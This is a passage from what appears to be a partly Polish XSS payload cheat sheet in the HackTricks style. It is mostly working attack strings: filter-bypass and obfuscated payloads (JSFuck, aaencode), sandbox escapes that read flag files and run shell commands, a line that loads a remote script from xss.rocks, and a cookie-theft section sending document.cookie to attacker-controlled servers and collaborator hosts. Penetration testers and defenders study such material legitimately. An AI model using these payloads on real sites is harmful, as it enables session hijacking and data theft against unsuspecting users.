console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Javascript w komentarzu

//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript bez nawiasów

// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

Dowolne wywołanie funkcji (alert)

//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

DOM vulnerabilities

There is JS code that is using unsafely data controlled by an attacker like location.href . An attacker, could abuse this to execute arbitrary JS code.
Due to the extension of the explanation of DOM vulnerabilities it was moved to this page:

DOM XSS

There you will find a detailed explanation of what DOM vulnerabilities are, how are they provoked, and how to exploit them.
Also, don’t forget that at the end of the mentioned post you can find an explanation about DOM Clobbering attacks.

Upgrading Self-XSS

If you can trigger a XSS by sending the payload inside a cookie, this is usually a self-XSS. However, if you find a vulnerable subdomain to XSS, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack:

Cookie Tossing

You can find a great abuse of this technique in this blog post.

Sending your session to the admin

Maybe an user can share his profile with the admin and if the self XSS is inside the profile of the user and the admin access it, he will trigger the vulnerability.

Session Mirroring

If you find some self XSS and the web page have a session mirroring for administrators, for example allowing clients to ask for help an in order for the admin to help you he will be seeing what you are seeing in your session but from his session.

You could make the administrator trigger your self XSS and steal his cookies/session.

Inne obejścia

Bypassing sanitization via WASM linear-memory template overwrite

When a web app uses Emscripten/WASM, constant strings (like HTML format stubs) live in writable linear memory. A single in‑WASM overflow (e.g., unchecked memcpy in an edit path) can corrupt adjacent structures and redirect writes to those constants. Overwriting a template such as “

%.*s

” to “” turns sanitized input into a JavaScript handler value and yields immediate DOM XSS on render.

Check the dedicated page with exploitation workflow, DevTools memory helpers, and defenses:

Wasm Linear Memory Template Overwrite Xss

Normalised Unicode

You could check is the reflected values are being unicode normalized in the server (or in the client side) and abuse this functionality to bypass protections. Find an example here.

PHP FILTER_VALIDATE_EMAIL flag Bypass

"><svg/onload=confirm(1)>"@x.y

Ruby-On-Rails bypass

Z powodu RoR mass assignment w HTML są wstawiane cudzysłowy, co powoduje obejście ograniczenia dotyczącego cudzysłowów i pozwala dodać dodatkowe pola (onfocus) wewnątrz tagu.
Przykład formularza (from this report), jeśli wyślesz payload:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

Para “Key”,“Value” zostanie zwrócona w następujący sposób:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

Wówczas zostanie wstawiony atrybut onfocus i wystąpi XSS.

Specjalne kombinacje

<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

XSS with header injection in a 302 response

Jeśli odkryjesz, że możesz wstrzykiwać nagłówki w odpowiedzi 302 Redirect możesz spróbować wymusić na przeglądarce wykonanie arbitralnego JavaScriptu. To nie jest trywialne, ponieważ nowoczesne przeglądarki nie interpretują ciała odpowiedzi HTTP gdy kod statusu HTTP to 302, więc sam payload cross-site scripting jest bezużyteczny.

W this report i this one możesz przeczytać, jak testować różne protokoły w nagłówku Location i sprawdzić, czy którykolwiek z nich pozwala przeglądarce zbadać i wykonać payload XSS znajdujący się w body.\

Dotychczas znane protokoły: mailto://, //x:1/, ws://, wss://, pusty nagłówek Location, resource://.

Only Letters, Numbers and Dots

Jeśli możesz wskazać callback, który javascript ma wykonać, przy czym jest on ograniczony do tych znaków. Read this section of this post aby dowiedzieć się, jak wykorzystać to zachowanie.

Valid <script> Content-Types to XSS

(From here) Jeśli spróbujesz załadować skrypt z content-type takim jak application/octet-stream, Chrome zgłosi następujący błąd:

Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx’ because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.

Jedynymi Content-Type’ami, które pozwolą Chrome uruchomić załadowany skrypt, są te wymienione w stałej kSupportedJavascriptTypes z https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc

const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

Typy skryptów dla XSS

(From here) Które typy można wskazać, aby załadować skrypt?

<script type="???"></script>

Odpowiedź to:

  • module (domyślny, nie wymaga wyjaśnień)
  • webbundle: Web Bundles to funkcja pozwalająca zapakować różne dane (HTML, CSS, JS…) w jeden plik .wbn.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • importmap: Pozwala ulepszyć składnię importów
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>

To zachowanie zostało użyte w this writeup do przypisania biblioteki do eval w celu jej nadużycia — może to wywołać XSS.

  • speculationrules: Ta funkcja ma na celu głównie rozwiązanie problemów spowodowanych pre-renderingiem. Działa w następujący sposób:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>

Content-Types sieciowe powodujące XSS

(Pochodzi z here) Następujące typy treści mogą wykonywać XSS we wszystkich przeglądarkach:

  • text/html
  • application/xhtml+xml
  • application/xml
  • text/xml
  • image/svg+xml
  • text/plain (?? not in the list but I think I saw this in a CTF)
  • application/rss+xml (off)
  • application/atom+xml (off)

W innych przeglądarkach inne Content-Types mogą być użyte do wykonania dowolnego JS, zobacz: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

xml Content Type

Jeśli strona zwraca Content-Type text/xml, możliwe jest wskazanie namespace i wykonanie dowolnego JS:

<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

Specjalne wzorce zastępowania

Kiedy używany jest coś takiego jak "some {{template}} data".replace("{{template}}", <user_input>). Atakujący może użyć special string replacements aby spróbować ominąć niektóre zabezpieczenia: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

Na przykład w this writeup, użyto tego do ucieczki ciągu JSON wewnątrz skryptu i wykonania dowolnego kodu.

Chrome Cache to XSS

Chrome Cache to XSS

XS Jails Escape

Jeśli masz do dyspozycji tylko ograniczony zestaw znaków, sprawdź te inne poprawne rozwiązania dla problemów XSJail:

// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

Jeśli wszystko jest undefined przed wykonaniem niezaufanego kodu (jak w this writeup), możliwe jest wygenerowanie użytecznych obiektów „z niczego”, aby nadużyć wykonania dowolnego niezaufanego kodu:

  • Używając import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
  • Pośredni dostęp do require

According to this moduły są przez Node.js opakowywane wewnątrz funkcji, w ten sposób:

;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})

Dlatego, jeśli z tego modułu możemy wywołać inną funkcję, możliwe jest użycie arguments.callee.caller.arguments[1] z tej funkcji, aby uzyskać dostęp do require:

;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()

W podobny sposób jak w poprzednim przykładzie, można use error handlers, aby uzyskać dostęp do wrapper modułu i zdobyć funkcję require:

try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()

Obfuscation & Advanced Bypass

//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻   / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}

XSS typowe payloads

Kilka payloads w 1

Steal Info JS

Pułapka iframe

Spraw, aby użytkownik poruszał się po stronie bez opuszczania iframe i przechwytuj jego akcje (w tym informacje wysyłane w formularzach):

Iframe Traps

Pobieranie Cookies

<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

Tip

Nie będziesz w stanie uzyskać dostępu do cookies z JavaScript jeśli flaga HTTPOnly jest ustawiona w cookie. Ale tutaj masz kilka sposobów na obejście tej ochrony, jeśli będziesz miał szczęście.

Kradzież zawartości strony

